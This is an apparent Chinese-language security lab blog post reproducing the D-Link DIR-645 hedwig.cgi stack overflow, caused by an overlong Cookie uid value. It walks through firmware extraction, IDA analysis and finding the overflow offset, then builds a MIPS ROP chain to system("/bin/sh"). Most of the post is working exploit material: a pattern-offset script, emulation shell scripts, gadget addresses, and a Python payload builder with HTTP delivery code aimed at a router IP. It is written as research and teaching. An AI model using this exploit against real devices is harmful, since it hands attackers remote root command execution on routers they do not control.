物聯網漏洞挖掘入門--DLINK-DIR-645路由器棧溢出漏洞分析復現

2022-02-08 水滴安全實驗室
https://www.rapid7.de/db/modules/exploit/linux/http/dlink_hedwig_cgi_bof

這個棧溢出的原因是由於cookie的值過長導致的棧溢出。服務端取得客戶端請求的HTTP頭中Cookie欄位中uid的值,格式化到棧上導致溢出。通過對漏洞點進行分析,搭建模擬環境並完成整個漏洞利用過程。

(文章中有不足之處,還請各位朋友多多指教,也歡迎對iot安全感興趣的朋友加入我們,共同研究)

使用firmware-mod-kit/extract-firmware.sh 將固件中的文件系統提取出來

oit@ubuntu:~/0dayTest/dir645$ ~/tools/firmware-mod-kit/extract-firmware.sh ./dir645_FW_103.bin

該漏洞的核心組件為 dir645_FW_103/rootfs$  ./htdocs/web/hedwig.cgi

查看hedwig.cgi 文件:

可以看出,漏洞組件hedwig.cgi 是一個指向 ./htdocs/cgibin 的符號連結,也就是說真正的漏洞代碼在cgibin中。

漏洞產生的原因是Cookie的值超長,接下來,我們就具體定位和分析漏洞產生原因。

因為hedwig.cgi 是一個指向 ./htdocs/cgibin 的符號連結,所有我們使用IDA 加載/htdocs/cgibin。

Shift+F12 打開 Strings window,搜索 HTTP_COOKIE,定位到其在rodata中具體位置,並查看其交叉引用信息:

sess_get_uid+6C,定位進去可以發現 getenv(「HTTP_COOKIE」) 獲取環境變量

繼續定位 sess_get_uid 的引用,上下查看得知,getenv(「HTTP_COOKIE」) 作為 sprintf 函數的參數:

向上追溯$s1:    $a0 : ($sp, 0x4E8+var_428)
sprintf(($sp,0x4E8+var_428),」%s/%s/postxml」,」/runtime/session」,getenv(「HTTP_COOKIE」))

至此,我們可知,sprintf 格式化之後的數據保存到 $a0 對應的棧中,而$a0 所對應的的棧的大小有限,並且沒有對  getenv(「HTTP_COOKIE」) 獲取的數據進行檢查,因此,如果getenv(「HTTP_COOKIE」) 所獲取的環境變量數據足夠長,就可以造成棧緩衝區溢出,進而覆蓋保存在棧區中的 $ra,$fp等值。***** patternLocOffset.py ************
'''生成定位字符串:輪子直接使用'''
import argparseimport structimport binasciiimport stringimport sysimport reimport timea ="ABCDEFGHIJKLMNOPQRSTUVWXYZ"b ="abcdefghijklmnopqrstuvwxyz"c = "0123456789"def generate(count,output): codeStr ='' print '[*] Create pattern string contains %d characters'%count timeStart = time.time() for i in range(0,count): codeStr += a[i/(26*10)] + b[(i%(26*10))/10] + c[i%(26*10)%10] print 'ok!' if output: print '[+] output to %s'%output fw = open(output,'w') fw.write(codeStr) fw.close() print 'ok!' else: return codeStr print "[+] take time: %.4f s"%(time.time()-timeStart)
def patternMatch(searchCode, length=1024):
offset = 0 pattern = None
timeStart = time.time() is0xHex = re.match('^0x[0-9a-fA-F]{8}',searchCode) isHex = re.match('^[0-9a-fA-F]{8}',searchCode)
if is0xHex: pattern = binascii.a2b_hex(searchCode[2:]) elif isHex: pattern = binascii.a2b_hex(searchCode) else: print '[-] seach Pattern eg:0x41613141' sys.exit(1)
source = generate(length,None) offset = source.find(pattern)
if offset != -1: print "[*] Exact match at offset %d" % offset else: print "[*] No exact matches, looking for likely candidates..." reverse = list(pattern) reverse.reverse() pattern = "".join(reverse) offset = source.find(pattern)
if offset != -1: print "[+] Possible match at offset %d (adjusted another-endian)" % offset
print "[+] take time: %.4f s" % (time.time() - timeStart)
def mian(): ''' parse argument ''' parser = argparse.ArgumentParser() parser.add_argument('-s', '--search', help='search for pattern') parser.add_argument('-c', '--create', help='create a pattern',action='store_true') parser.add_argument('-f','--file',help='output file name',default='patternShell.txt')   parser.add_argument('-l', '--length', help='length of pattern code',type=int, default=1024) args = parser.parse_args() ''' save all argument ''' length= args.length   output = args.file createCode = args.create searchCode = args.search
if createCode and (0 <args.length <= 26*26*10): generate(length,output) elif searchCode and (0 <args.lnegth <=26*26*10): patternMatch(searchCode,length) else: print '[-] You shoud chices from [-c -s]' print '[-] Pattern length must be less than 6760' print 'more help: pattern.py -h'
if __name__ == "__main__": if __name__ == '__main__': mian()

****** pentest_cgi.sh *****************
 TEST=$(python2.7 -c "print'uid='+open('dir645_patternLocOffset_test','r').read()")echo $TESTLEN=$(echo -n $TEST|wc -c)echo $LENsudo cp $(which qemu-mipsel) ./sudo chroot $PWD /qemu-mipsel-static -E CONTENT_TYPE="application/x-www-form-urlencoded" -E HTTP_COOKIE=$TEST -E CONTENT_LENGTH=$LEN -E REQUEST_URI="/hedwig.cgi" -E REQUEST_METHOD="POST" -E REMOTE_ADDR="192.168.126.139" -g 2234 /htdocs/web/hedwig.cgi

*****************************************
~/0dayTest$ sudo python2.7 ./patternLocOffset.py -c -l 2000 -f dir645_patternLocOffset_test

(2) 執行pentest_cgi.sh 定位字符串,設置環境變量,模擬真實的運行環境
oit@ubuntu:~/0dayTest$./pentest_cgi.sh

在 .text:0040C5B8 lw      $ra, 0x4E4($sp)  處下斷點,執行:

按F7單步,可以看到RA的值為 $ra:0x38694237,改變了$ra的值

在填充文件 dir645_patternLocOffset_test 中搜索 0x38694237:
oit@ubuntu:~/0dayTest$ python2.7 patternLocOffset.py -s 0x38694237 -l 2000
[*] Create pattern string contains 2000 characters
ok!
[+] Possible match at offset 1043 (adjusted another-endian)
[+] take time: 0.0014 s

4. 構造ROP Chain:實現system函數的調用
system 在 libc.so.0中,使用IDA打開,找到system函數,查看其偏移為:0x53200

找到system函數地址以後,搜索可以調用system的指令。使用IDA插件「MIPS ROP Finder」在libc.so.0中搜索調用system函數的指令。

輸入:mipsrop.stackfinder()

0x159cc處的指令序列,現將$sp + 0x10地址存入寄存器$s5中,而在偏移0x159E0處將$s5 作為參數存入$a0,也就是說,這裡需要將第一步得到的system 地址填充到$s0中,然後在$sp + 0x10處填充需要執行的命令,即可實現對system("command")函數的調用。

(3) 查看系統加載libc.so.0 動態庫時的基地址:

通過 qemu-system-mipsel 啟動mipsel 模擬系統

sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1 console=ttyS0" -net nic,macaddr=00:0c:29:d4:72:11 -net tap -nographic

動態調試:

查看進程內存映射:

lrwxrwxrwx 1 root root 21  libc.so.0 -> libuClibc-0.9.30.1.so

libc.so.0的基地址為:

    libc = 0x77f34000

   1  原因

系統加載libc.so.0動態庫時的基地址為 0x77f34000,所以system函數的實際地址為:

0x77f34000 + 0x53200 = 0x77F87200

因為system實際地址的最低位為0x00,在使用sprintf函數時可能被截斷,造成緩衝區溢出失敗。

   2  解決方法:

將$s0 覆蓋為 0x77F871FF(0x77f34000 + 0x531FF),然後在libc.so.0中搜索一條指令對$s0進行操作,再跳到「call system」指令。

mipsrop.find("addiu $s0,1")

選擇 0x000158C8 處的指令序列:

     $ra = 0x77f34000 + 0x000158C8 = 0x77F498C8
$s5 = 0x77f34000 + 0x159cc
$s0 = 0x77f34000 + 0x531FF
.text:000158C8 move $t9, $s5
.text:000158CC jalr $t9
.text:000158D0 addiu $s0, 1
調用system函數:
$s0 = 0x77F87200 :system
$s5 = commandAddr = $sp+0x10 .text:000159CC addiu $s5, $sp, 0x10 .text:000159D0 move $a1, $s3 .text:000159D4 move $a2, $s1 .text:000159D8 move $t9, $s0 .text:000159DC jalr $t9 ; mempcpy .text:000159E0 move $a0, $s5


import sysimport timeimport stringimport socketfrom random import Randomimport urllib, urllib2, httplib
class MIPSPayload: BADBYTES=[0x00] LITTLE = "little" BIG = 'big' FILLER = 'A' BYTES = 4 def __init__(self,libase=0, endianess=LITTLE, badbytes=BADBYTES): self.libase = libase self.shellcode = "" self.endianess = endianess self.badbytes = badbytes def rand_text(self, size): str = '' chars = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789' length = len(chars) - 1 random = Random() for i in range(size): str += chars[random.randint(0,length)] return str
def Add(self, data): self.shellcode += data
def Address(self, offset, base=None): if base is None: base = self.libase return self.ToString(base + offset)
def AddAddress(self, offset, base=None): self.Add(self.Address(offset, base))
def AddBuffer(self,size, byte=FILLER): self.Add(byte * size)
def AddNops(self, size): if self.endianess == self.LITTLE: self.Add(self.rand_text(size)) else: self.Add(self.rand_text(size))
def ToString(self,value, size= BYTES): data ='' for i in range(0, size): data += chr((value >> (8*i)) & 0xFF) if self.endianess != self.LITTLE: data = data[::-1] return data
def Build(self): count = 0 for c in self.shellcode: for cbyte in self.badbytes: if c == chr(cbyte): raise Exception("Bad byte found in shellcode at offset %d: 0x%.2x"%(count,cbyte)) count +=1 return self.shellcode
def Print(self, bp1=BYTES): i = 0 for c in self.shellcode: if i == 4: print "" i = 0 sys.stdout.write("\\x%.2X"%ord(c)) sys.stdout.flush() if bp1 > 0: i += 1 print "\n"
class HTTP: HTTP = 'http' def __init__(self, host, proto=HTTP, verbose=False): self.host = host self.proto = proto self.verbose = verbose self.encode_params = True
def Encode(self, data): if type(data) == dict: pdata =[] for k in data.keys(): pdata.append(k + '=' + data[k]) data = pdata[1] + '&' + pdata[0] else: data = urllib.quote_plus(data) return data
def Send(self, uri='', headers={}, data=None, response=False, encode_params=True): html = "" if uri.startswith('/'): c = '' else: c = '/' url = '%s://%s'%(self.proto, self.host) uri = '/%s'%uri
if data is not None: data = self.Encode(data) if self.verbose: print url
httpcli = httplib.HTTPConnection(self.host, 80, timeout=30) httpcli.request('POST', uri, data, headers=headers) response=httpcli.getresponse() print response.status print response.read()
if __name__ == '__main__':
libc = 0x77f34000
    '''    ROP $ra = 0x77f34000 + 0x000158C8
************************************************* $s5 = 0x77f34000 + 0x159cc $s0 = 0x77f34000 + 0x531FF
0x158c8: .text:000158C8 move $t9, $s5 .text:000158CC jalr $t9 .text:000158D0 addiu $s0, 1    *************************************************     $s0 = 0x77F87200 :system $s5 = commandAddr = $sp+0x10
0x159cc: .text:000159CC addiu $s5, $sp, 0x10 .text:000159D0 move $a1, $s3 .text:000159D4 move $a2, $s1 .text:000159D8 move $t9, $s0 .text:000159DC jalr $t9 ; mempcpy ''' target = { "645-1.03":[0x531ff, 0x158c8, 0x159cc], } v = '645-1.03' cmd = '/bin/sh' ip = '192.168.0.1' payload = MIPSPayload(endianess="little", badbytes=[0x0d, 0x0a])
payload.AddBuffer(1007) payload.AddAddress(target[v][0], base=libc) payload.AddBuffer(4) payload.AddBuffer(4) payload.AddBuffer(4) payload.AddBuffer(4) payload.AddAddress(target[v][2], base=libc) payload.AddBuffer(4) payload.AddBuffer(4) payload.AddBuffer(4) payload.AddAddress(target[v][1], base=libc) payload.AddBuffer(4) payload.AddBuffer(4) payload.AddBuffer(4) payload.AddBuffer(4) payload.Add(cmd)
pdata = { 'uid':'shuidi', 'password':'shuidi', } print payload.shellcode payload = payload.Build() print payload
fw = open('dir645_patternLocOffset_test', 'w') fw.write(payload) fw.close() ''' header = { 'Cookie' : 'uid='+payload.Build(), 'Accept-Encoding' : 'gzip, deflate', 'Content-Type' : 'application/x-www-form-urlencoded', 'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)' } try: HTTP(ip).Send('hedwig.cgi',data=pdata, headers=header, encode_params=False,response=True) except httplib.BadStatusLine: print "Payload deliverd." except Exception,e: print "2Payload delivery failed: %s" % str(e)    '''

export TEST=$(python2.7 -c "print uid='+open('dir645_patternLocOffset_test','r').read()+ chr(0)")export CONTENT_TYPE="application/x-www-form-urlencoded"export HTTP_COOKIE=$TESTexport CONTENT_LENGTH=$LENexport REQUEST_URI="/hedwig.cgi"export REQUEST_METHOD="POST"export REMOTE_ADDR="192.168.126.150"

python2.7 ./dir645-POC.py
source ./set-environment.sh
chroot $PWD ./gdbserver 192.168.126.150:2345 ./htdocs/web/hedwig.cgi

在.text:0040C5E4 jr      $ra 處下斷點, F9運行

單步執行,跳轉到 libc.so.0 庫 0x158c8 指令集位置處:

單步執行,跳轉到 偏移0x159cc 指令序列位置,

$t9 = $s0 : 0x77F87200 正確F9,執行system,在終端上執行 ls命令,查看現象:

至此,shellcode 成功執行:system("/bin/sh")

參考資料:

《揭秘家用路由器0day漏洞挖掘技術》

相關焦點

  • dir-645 超長cookie棧溢出漏洞分析
    本文為看雪論精華文章看雪論壇作者ID:pureGavin分析一個D-Link的漏洞學習一下路由器漏洞方面的知識
  • D-Link 850L&645路由漏洞分析
    1.2 D-Link 645固件提取D-Link 645 固件下載地址:ftp://ftp2.dlink.com/PRODUCTS/DIR-645/REVA/DIR-645_FIRMWARE2.3.2 漏洞驗證(待完成)三、D-Link 645漏洞分析3.1 遠程敏感信息讀取3.1.1 漏洞分析通過對比 D-Link 645 和 D-Link 850L 的 htdocs/web/getcfg.php 文件,發現代碼完全是一樣的,所以 D-Link 645
  • 路由器漏洞復現:從原理到第一步驗證
    hello大家好,我是安全客小安,今天給大家帶來來自desword的原創文章,本文以路由器漏洞D-Link DIR-505為例,介紹如何在本地虛擬機中完成漏洞復現
  • 路由器漏洞挖掘之 DIR-805L 越權文件讀取漏洞分析
    接下來的文章都會實戰復現一些關於路由器的 web /二進位漏洞,可能會寫的比較細,希望能給大家帶來啟發。
  • 棧溢出漏洞原理詳解與利用
    0x01 前言和我一樣,有一些計算機專業的同學可能一直都在不停地碼代碼,卻很少關注程序是怎麼執行的,也不會考慮到自己寫的代碼是否會存在棧溢出漏洞,藉此機會我們一起走進棧溢出。CPU該執行哪條指令就是通過EIP來指示的0x03 棧溢出分析完這一過程,相信大家對函數是怎麼執行的應該明朗了,那麼我們言歸正傳,繼續聊一下棧溢出。首先我們先看一下什麼是棧?
  • 「物聯網漏洞復現」TP-Link SR20 本地網絡遠程代碼執行漏洞
    TP-Link SR20 是一款支持 Zigbee 和 Z-Wave 物聯網協議可以用來當控制中樞 Hub 的觸屏 Wi-Fi 路由器,此遠程代碼執行漏洞允許用戶在設備上以 root 權限執行任意命令,該漏洞存在於 TP-Link 設備調試協議(TP-Link Device Debug Protocol 英文簡稱 TDDP) 中,TDDP 是 TP-Link 申請了專利的調試協議
  • 軟體漏洞分析入門__初級棧溢出C_修改程序流程
    首先簡單複習上節課的內容:高級語言經過編譯後,最終函數調用通過為其開闢棧幀來實現開闢棧幀的動作是編譯器加進去的,高級語言程式設計師不用在意函數棧幀中首先是函數的局部變量,局部變量後面存放著函數返回地址當前被調用的子函數返回時,會從它的棧幀底部取出返回地址,並跳轉到那個位置(母函數中)繼續執行母函數我們這節課的思路是,讓溢出數組的數據躍過
  • D-Link 路由器信息洩露和遠程命令執行漏洞分析及全球數據分析報告
    攻擊者通過路由器公網入口可獲取路由器後臺登錄憑證並執行任意代碼。知道創宇404實驗室本地測試發現多款D-Link DIR系列路由器也受到該漏洞影響。根據ZoomEye的探測和分析,存在漏洞的D-Link路由器型號如下:
  • Cisco RV160W系列路由器漏洞:從1day分析到0day挖掘
    這款路由器最近的無條件RCE漏洞。這裡已經不能再明顯了,system函數處存在命令注入,於是mini_httpd2用過濾危險字符的方式修復了這個漏洞。將strcpy函數替換成了strncpy函數。斷定此處strcpy存在棧溢出漏洞。對固件的初步逆向分析後,基本判定老版本固件至少存在命令注入和棧溢出這兩個漏洞。模擬httpd服務,為了之後附加進程調試,我選用qemu系統模式進行模擬。
  • 通過CVE-2017-17215學習路由器漏洞分析,從入坑到放棄
    原標題:通過CVE-2017-17215學習路由器漏洞分析,從入坑到放棄*本文作者:kczwa1,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載。1.基本信息:2017/11/27,CheckPoint軟體技術部門報告了一個華為HG532產品的遠程命令執行漏洞(CVE-2017-17215),Mirai的升級版變種中已經使用該漏洞。看起來是個很簡單的漏洞了,書上得來終覺淺,須知此事要躬行,復現和分析的過程中遇到很多坑,寫文記錄一下詳細步驟。
  • D-Link 路由器漏洞復現(CVE-2019-20215)
    前言本來是打算來挖它的,去搜索它以往爆出的漏洞,就先復現玩玩了,這次用了三種方法來驗證,分別為用戶級模擬,系統級模擬,真機CVE-2019-20215漏洞描述根據漏洞描述可以獲得到的信息:漏洞點為/htdocs/cgibin中的ssdpcgi()函數固件獲取
  • Defcon黑客大會披露華為路由器存在嚴重安全漏洞
    他說,這些安全漏洞包括一個會話劫持安全漏洞、一個堆溢出安全漏洞和一個堆棧溢出安全漏洞。這些安全漏洞是在華為AR18和AR29系列路由器中發現的。利用這些安全漏洞能夠在網際網路上控制這些設備。
  • Pwn2Own Tokyo :Netgear R6700路由器堆溢出漏洞分析
    第二個問題是文件上傳函數中的經典堆溢出漏洞。易受攻擊的函數將上傳文件的內容複製到攻擊者控制大小的基於堆的緩衝區中,以下是易受攻擊的函數的偽代碼:為了控制基於堆的緩衝區的大小,攻擊者可以利用Content-Length標頭,但這並不簡單,讓我們更深入地說明原因。導入配置文件的HTTP請求如下:HTTP請求必須滿足幾個條件。
  • SweynTooth爆出最新低功耗藍牙漏洞,多家知名藍牙晶片榜上有名
    關注"無線技術聯盟"提供有價值的物聯網市場信息和最新的技術分析SWEYNTOOTH機構最近發布一篇報告,該報告指出,針對BLE SOC晶片的SDK進行測試發現,攻擊者可以根據情況觸發BLE SOC晶片協議棧死鎖,崩潰,緩衝區溢出,或者完全繞過安全性。
  • Office系列漏洞經典案例分析與利用
    3、漏洞定位由於緩衝區溢出函數處於EQNEDT32進程中,所以對它進行調試分析,打開漏洞文件會彈出計算器,一般採用Winexec函數調用,可對該函數進行下斷,然後進行逆推找出溢出點。點擊在4115A7函數上下好斷點,重新打開漏洞文件,斷下後進行步過(F8)分析,在步過第一個call後並沒有返回,而是直接彈出了計算器,這就說明漏洞溢出點在這個call裡面,也就是把棧中返回地址
  • ERC20智能合約又現大量整數溢出漏洞
    今日塊訊(Chinaz.com) 6 月 13 日消息    近期,智能合約漏洞頻頻發生,繼EDU、BAI智能合約存漏洞可轉走任意帳戶Token 、EOS高危漏洞可完全控制虛擬貨幣交易等事件後,今天ERC20 智能合約又被爆出現大量整數溢出漏洞。
  • 漏洞挖掘 | 通用型漏洞挖掘思路技巧
    :1、找最新版的版本較低的,例如1.1、1.22、找github star不多的3、找源碼總容量小的4、儘量不要找使用tp、yii、laravel等框架型CMS這裡說一下理由:1、如果cms版本高,說明開發有經常維護,同時也說明裡面的簡單漏洞已經被發現並且被提交並整改了
  • CVE-2010-2553 堆溢出漏洞分析
    前半部分根據《漏洞戰爭》的代碼,在調試的過程中重新複習了一遍堆結構相關的知識,並學習了Windbg提供的堆調試選項;後半部分是對CVE-2010-2553分析,包括AVI格式分析以及漏洞函數代碼分析。在學習過程中發現了書中對AVI格式的介紹存在一些問題,同時對於溢出漏洞也有了更深的理解。之前一直在看棧溢出漏洞,這次選擇堆溢出,之後也會各個漏洞輪流分析,加強一下記憶。
  • 盤古實驗室:蘋果FaceTime逆向分析及漏洞案例分享
    然而,對FaceTime進行過逆向漏洞挖掘研究的黃濤卻深知它的「內在」遠沒有我們看到的這麼簡單,其內部結構甚至可以使用「錯綜複雜」來形容。通過逆向分析黃濤發現,FaceTime UI界面其實分成了通訊框和視頻區兩個部分。
  • 軟體漏洞分析入門(四)初級棧溢出C_修改程序流程
    緩衝區溢出的概念我若干年前已經瞭然於胸,不就是淹個返回地址把 CPU 指到緩衝區的 shellcode 去麼。然而當我開始動手實踐的時候,才發現實際中的情況遠遠比原理複雜。國內近年來對網絡安全的重視程度正在逐漸增加,許多高校相繼成立了「信息安全學院」或者設立「網絡安全專業」。